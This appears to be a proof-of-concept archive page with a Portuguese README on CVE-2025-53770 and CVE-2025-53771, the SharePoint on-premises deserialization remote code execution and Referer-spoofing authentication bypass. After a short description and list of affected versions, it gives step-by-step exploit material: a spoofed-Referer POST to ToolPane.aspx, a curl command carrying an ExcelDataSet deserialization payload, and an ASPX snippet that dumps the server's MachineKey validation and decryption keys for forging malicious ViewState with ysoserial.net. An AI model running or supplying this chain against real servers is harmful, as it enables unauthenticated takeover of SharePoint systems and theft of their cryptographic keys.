关联漏洞
描述
CVE-2025-53770 - SharePoint
介绍
# CVE-2025-53770 SharePoint
# Description
A desserialização de dados não confiáveis no Microsoft SharePoint Server local permite que um invasor execute código remotamente e comprometa o sistema. A Microsoft está ciente da exploração ativa e está preparando uma atualização abrangente. Verifique se as mitigações da documentação CVE estão em vigor.
* **Impacto:** invasores não autenticados podem realizar a execução remota de código, levando ao comprometimento total do sistema.
* **Gravidade:** Crítica
## Microsoft SharePoint on-premises
## CVE-2025-53770 (CVSS 9.8):
Trata-se de uma execução remota de código (RCE) crítica. Ela explora uma deserialização insegura de dados não confiáveis, permitindo que um atacante execute código arbitrário sem necessidade de autenticação.
## CVE-2025-53771 (CVSS ~6.3):
É uma vulnerabilidade de bypass de autenticação (spoofing) via manipulação do header HTTP (especialmente o campo Referer), permitindo contornar controles de acesso e elevar ao RCE com o CVE-53770.
ambos substituem patches anteriores **(CVE-2025-49704 e CVE-2025-49706)**, que foram aplicados em julho, porém se mostraram incompletos, possibilitando novos vetores de ataque.
### Apenas SharePoint on-premises, nas versões:
- Subscription Edition (antes do KB5002768)
- SharePoint Server 2019 (antes do KB5002754)
- SharePoint Server 2016 (antes do KB5002760)
### SharePoint Online (Microsoft 365) não é afetado.
1 - (Bypass de autenticação): /layouts/15/ToolPane.aspx
Passo 1 – Faça uma requisição POST para a URL vulnerável.
Passo 2 – Suba um arquivo .aspx com código que leia o MachineKey (igual ao seu snippet).
Passo 3 – Gere um ViewState malicioso usando ferramentas como ysoserial.net configuradas com essas chaves.
## Passo 1
```powershell
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
```
## Passo 2
### Prova de Conceito
A PoC a seguir demonstra como um invasor pode explorar a vulnerabilidade para extrair e decodificar cargas maliciosas por meio do ponto de extremidade vulnerável.
O domínio de destino é intencionalmente substituído por target.com.
**Comando PoC 1**
```powershell
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
```
---
**Comando real utilizado em análise**
```aspx
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>
```
文件快照
[4.0K] /data/pocs/78c95011c4fc4181b4db90b840b934f7baecb9f8
└── [4.6K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。